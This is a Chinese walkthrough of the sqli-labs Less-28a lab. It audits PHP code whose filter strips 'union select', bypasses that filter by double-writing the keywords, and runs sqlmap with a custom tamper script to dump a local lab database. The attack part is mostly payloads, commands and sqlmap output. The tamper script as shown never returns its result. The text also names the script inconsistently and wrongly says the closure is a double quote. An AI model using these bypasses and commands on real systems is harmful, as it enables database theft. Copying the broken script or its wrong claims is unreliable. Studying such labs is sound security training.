sqli-labs通关笔记-第28a关GET字符注入(多重关键字过滤绕过 脚本法)

目录

一、sqlmap之tamper脚本

二、源码分析

1、代码审计

2、SQL安全性分析

三、渗透实战

1、进入靶场

2、tamper脚本

3、sqlmap渗透


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第28a关Less 28a基于GET字符型的SQL注入关卡进行渗透实战,与28关的区别是过滤信息不同,该关卡同样过滤关键字select union防止SQL注入攻击。

一、sqlmap之tamper脚本

sqlmap 是一款开源自动化 SQL 注入工具,支持多种注入类型,可探测、利用并获取数据库信息,需在合法授权下使用。

tamper 脚本是 sqlmap 的插件,用于绕过防护机制,如编码转换、过滤关键词等,通过修改 Payload 结构提升注入成功率,适配不同防护场景,是工具灵活性和绕过能力的关键组件。tamper脚本允许用户自定义修改注入payload,主要用于绕过WAF/IDS/IPS等安全防护。以下是编tamper脚本的基本结构,具体如下所示。

复制代码
#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL  # 定义脚本优先级

def dependencies():
    pass  # 定义依赖关系(可选)

def tamper(payload, **kwargs):
    """
    主处理函数,接收原始payload,返回修改后的payload
    """
    return payload

二、源码分析

1、代码审计

本关卡Less28a是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less28a关卡功能是简单基于id的查询页面,相对于28关区别只是过滤信息不同,对比如下所示。

详细注释后的代码如下所示。

复制代码
<?php
// 包含MySQL连接参数文件
include("../sql-connections/sqli-connect.php");

// 从URL参数获取用户输入的ID
if(isset($_GET['id']))
{
    $id = $_GET['id'];
    
    // 记录用户输入到日志文件(用于分析注入尝试)
    $fp = fopen('result.txt', 'a');
    fwrite($fp, 'ID:' . $id . "\n");
    fclose($fp);

    // 对用户输入进行黑名单过滤(存在严重安全风险,见下文分析)
    $id = blacklist($id);
    
    // 保存过滤后的输入用于页面提示
    $hint = $id;

    // 构建SQL查询语句(危险:直接拼接用户输入)
    // 注意:ID被括号包围,但未进行正确转义
    $sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    
    // 执行SQL查询
    $result = mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
    
    // 输出查询结果
    if($row)
    {
        echo "<font size='5' color= '#99FF00'>";    
        echo 'Your Login name:' . $row['username'];
        echo "<br>";
        echo 'Your Password:' . $row['password'];
        echo "</font>";
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        // 注释掉错误信息输出(防止泄露数据库信息)
        //print_r(mysqli_error($con1));
        echo "</font>";  
    }
}
else { echo "Please input the ID as parameter with numeric value"; }

// 黑名单过滤函数(存在严重安全风险)
function blacklist($id)
{
    //$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
    //$id= preg_replace('/[--]/',"", $id);				    //Strip out --.
    //$id= preg_replace('/[#]/',"", $id);					//Strip out #.
    //$id= preg_replace('/[ +]/',"", $id);	    		    //Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
    //$id= preg_replace('/[ +]/',"", $id);	    		    //Strip out spaces.
    
    // 移除union和select之间的空格组合(大小写不敏感)
    // 示例:"UNION SELECT"会被过滤,但"uniounion selectn select"过滤后仍是union select
    $id = preg_replace('/union\s+select/i', "", $id);
    
    return $id;
}
?>

本关卡实现了一个存在SQL注入风险的用户查询系统,功能如下所示。

  • 用户输入处理:从 URL 参数中获取用户输入的 ID 值,并尝试对其进行黑名单过滤,移除可能用于 SQL 注入的字符和关键词。
  • 日志记录:将用户输入的 ID 记录到 result.txt 文件中,用于后续分析。
  • SQL 查询 :构建 SQL 查询语句,查询 users 表中匹配 ID 的记录,并执行查询。使用括号包裹 ID 值(id=('$id')),闭合方式为单引号括号。
  • 结果展示:如果查询到结果,显示用户的用户名和密码;如果没有查询到结果,则不显示数据库的具体报错信息(故而无法使用报错法注入)。
  • 提示信息:页面底部显示经过过滤后的用户输入,作为提示信息。

2、SQL安全性分析

本关卡同27a关、28关卡一样依旧不打印数据库报错信息,故而本关卡一样无法使用报错法注入,本关卡只能使用联合注入法。系统虽然通过preg_replace()函数进行了简单的关键字过滤,但仍可通过双写或者大小写绕过等方法绕过过滤机制,因此本关卡仍然存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。28关卡的过滤函数处理如下所示。28a关卡的过滤函数处理如下所示。

复制代码
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

preg_replace 是 PHP 中用于执行正则表达式替换的函数,模式中的字符大小写决定匹配规则(如果模式中使用 i 修饰符,preg_replace不区分大小写)本关卡中,对select和union过滤如下所示,$id 中 连续出现的 unionselect(中间有一个或多个空白字符)替换为空字符串。例如:故而本关卡实际上对select和union参数进行不区分大小写的过滤, 这使得我们可通过双写绕过,即通过uniounion selectn select替换select union符号。

复制代码
'uniounion selectn select'替换'union select'

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

复制代码
http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。

其中第28a关在进阶挑战关卡"SQLi-LABS Page-2 (Adv Injections)"中, 点击进入如下页面。

复制代码
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less28a关卡,进入到靶场的第28a关卡,页面提示"Please input the ID as parameter with numeric value",并且在页面下方提示HINT信息" Hint: Your Input is Filtered with following result: ",具体如下所示。

复制代码
http://192.168.59.1/sqli-labs/Less-28

2、tamper脚本

构造28a.py脚本,使用双写方法绕过服务器对select union关键字的过滤,内容如下所示。

复制代码
#!/usr/bin/env python
'''
sqlmap 双写绕过
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload= payload.lower()
    payload= payload.replace('union select' , 'uniounion selectn select')

    retVal=payload

3、sqlmap渗透

使用自己编写的tamper脚本28.py进行sqlmap渗透,这里特别注意"id=1"*"这里是告诉服务器注入点为id,在id=1后星号前面增加双引号是要告诉服务器闭合方式为双引号,具体命令如下所示。

复制代码
sqlmap -u "http://192.168.59.1/sqli-labs/Less-28a/?id=1" --current-db  --batch  --tamper 28a.py --dump
参数 含义 作用说明
-u URL 指定目标 URL 测试 id=1 参数是否存在 SQL 注入风险。
--current-db 获取当前数据库名称 枚举目标网站当前使用的数据库名。
--batch 自动模式 自动选择默认选项,无需用户手动确认。
--tamper 28a.py 使用自定义脚本 28a.py 绕过过滤 对注入载荷进行混淆,绕过目标的正则过滤。
--dump 导出数据 自动提取检测到的数据库表数据。

如下所示,sqlmap渗透成功,可以通过布尔盲注、时间盲注方法渗透成功,具体信息如下所示。

复制代码
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1') AND 1036=1036 AND ('pwEt'='pwEt

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1') AND (SELECT 8051 FROM (SELECT(SLEEP(5)))vdXu) AND ('dBLq'='dBLq

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-8082') UNION ALL SELECT NULL,NULL,CONCAT(0x7176627a71,0x687575784f717052624a677362534b4c4f71716a436c6178644773576361746d4f416a6555767269,0x7162786a71)-- -
---
[05:36:05] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[05:36:05] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[05:36:05] [INFO] fetching current database
current database: 'security'


Table: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+